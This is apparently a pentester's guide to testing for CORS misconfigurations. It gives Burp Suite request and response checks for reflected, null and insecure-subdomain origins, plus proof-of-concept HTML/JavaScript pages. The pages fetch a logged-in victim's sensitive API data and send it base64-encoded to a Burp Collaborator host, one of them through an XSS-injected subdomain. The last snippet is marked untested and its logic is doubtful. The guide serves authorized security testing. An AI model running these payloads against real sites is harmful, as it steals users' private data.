Cross Origin Resource Sharing (CORS)

Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. Many modern websites use CORS to allow access from subdomains and trusted third parties. Their implementation of CORS may contain mistakes or be overly lenient to ensure that everything works, and this can result in exploitable vulnerabilities.

Vulnerability description for reporting available in VulnDB (GitHub)

Use the URL validation bypass cheat sheet (PortSwigger)!

Conditions for CORS attacks

To validate, based on CSRF requirements.

  • APIs that return sensitive information within the application, e.g. user profile API with PII, etc.
  • The application must rely on a session cookie to identify the user who has made the requests without other mechanisms for tracking sessions or validating user requests. If the API uses JWT (Authorization: Bearer), this will not be transmitted unless the “Access-Control-Allow-Headers: Authorization” HTTP is present in the server response. If the API uses the Authorization header for an API key (vs identifying the user), it can be passed in the payload.
  • No unpredictable request parameters.
  • Web server response:
    • Access-Control-Allow-Origin: <whatever is put in the Origin header of the request, or null if “Origin: null”>
    • “Access-Control-Allow-Credentials: true”: the victim’s browser will send their cookies and HTTP headers like “Authorization”. When set to false, the request is unauthenticated. A unauthenticated CORS attack could still be done and useful if the attacker cannot access the website directly (like an intranet on the victim’s internal network).

Testing CORS

Identify endpoints that implement CORS and ensure that the CORS configuration is secure or harmless.

Testing basic Origin reflection

Check if vulnerable

  • In Burp Suite, send the request for the sensitive API to the Repeater module.
  • Add the HTTP header “Origin: whatever” and send the request.
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: whatever

Vulnerable if the server responds:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: whatever
Access-Control-Allow-Credentials: true

Proof of Concept

  • Create page containing an iframe that will send a request to a victim domain and send the result to Burp Collaborator.
  • Open the page in a browser while being authenticated on the victim site (to obtain sensitive information).
  • Decode the key using base 64.

Do NOT forget to add HTTPS in front of the Burp Collaborator URL.

<!DOCTYPE html>
<script>
    var victim = 'https://vulnerable-website/api-with-sensitive-data';
    var collaborator = 'https://<BURP COLLABORATOR ID>.oastify.com';

    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('GET',victim,true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        req.open("GET", collaborator+"/?key="+btoa(req.response), true);
        req.send();
    };
</script>

With an API key in Authorization HTTP header.

<!DOCTYPE html>
<script>
    var victim = 'https://vulnerable-website/api-with-sensitive-data';
    var collaborator = 'https://<BURP COLLABORATOR ID>.oastify.com';
    var apiKey = 'some value';

    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('GET',victim,true);
    req.withCredentials = true;
    req.setRequestHeader('Authorization', 'Bearer ' + apiKey);
    req.send();

    function reqListener() {
        req.open("GET", collaborator+"/?key="+btoa(req.response), true);
        req.send();
    };
</script>

Testing trusted null Origin

Check if vulnerable

  • In Burp Suite, send the request for the sensitive API to the Repeater module.
  • Add the HTTP header “Origin: null” and send the request.
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

Vulnerable if the server responds:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Proof of Concept

  • Create page containing an iframe that will send a request to a victim domain and send the result to Burp Collaborator.
  • Open the page in a browser while being authenticated on the victim site (to obtain sensitive information).
  • Decode the key using base 64.

Do NOT forget to add HTTPS in front of the Burp Collaborator URL.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var victim = 'https://vulnerable-website/api-with-sensitive-data';
var collaborator = 'https://<BURP COLLABORATOR ID>.oastify.com';

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('GET',victim,true);
req.withCredentials = true;
req.send();

function reqListener() {
    location = collaborator+'/log?key='+btoa(this.responseText);
};
</script>"></iframe>

Testing CORS vulnerability with trusted insecure protocols

Prerequisites: If you could man-in-the-middle attack (MITM) the victim, you could use a MITM attack to hijack a connection to an insecure subdomain, and inject malicious JavaScript to exploit the CORS configuration. You can also find alternative ways of injecting JavaScript into the subdomain like with XSS.

Check if vulnerable

  • In Burp Suite, send the request for the sensitive API to the Repeater module.
  • Add the HTTP header “Origin: http://whatever.vulnerable-website.com” and send the request. Use HTTP and NOT HTTPS!
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: http://whatever.vulnerable-website.com

Vulnerable if the server responds:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://whatever.vulnerable-website.com
Access-Control-Allow-Credentials: true

Proof of Concept using XSS on subdomain

  • Create page containing an iframe that will send a request to a victim domain and send the result to Burp Collaborator.
  • Open the page in a browser while being authenticated on the victim site (to obtain sensitive information).
  • Decode the key using URL decode.

Do NOT forget to add HTTPS in front of the Burp Collaborator URL. Adapt parameters based on the specific XSS.

<script>
    var victim = 'https://vulnerable-website/api-with-sensitive-data';
    var victimSubdomain = 'https://whatever.vulnerable-website/?productId=1';
    var collaborator = 'https://<BURP COLLABORATOR ID>.oastify.com';

    document.location = victimSubdomain+"<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','" + victim + "',true); req.withCredentials = true;req.send();function reqListener() {location='" + collaborator + "/log?key='%2bthis.responseText; };%3c/script>&storeId=1";
</script>

Try to pass the Authorization header

Not tested.

var victim = 'https://vulnerable-website/api-with-sensitive-data';
var collaborator = 'https://<BURP COLLABORATOR ID>.oastify.com';

var req = new XMLHttpRequest();
req.withCredentials = true;

// Set up event listener for when the request completes
req.onload = function() {
    if (req.status >= 200 && req.status < 300) {
        // Request was successful
        var authToken = req.getResponseHeader('Authorization'); // Retrieve Authorization header from response
        sendCollaboratorRequest(authToken); // Pass Authorization header to the collaborator
    } else {
        // Handle error
        console.error('Request failed with status:', req.status);
    }
};

// Open the request
req.open('GET', victim, true);

// Send the request
req.send();

// Function to send request to collaborator with the obtained authorization token
function sendCollaboratorRequest(authToken) {
    var req2 = new XMLHttpRequest();
    req2.open('GET', collaborator + '/?key=' + btoa(authToken), true);
    req2.send();
}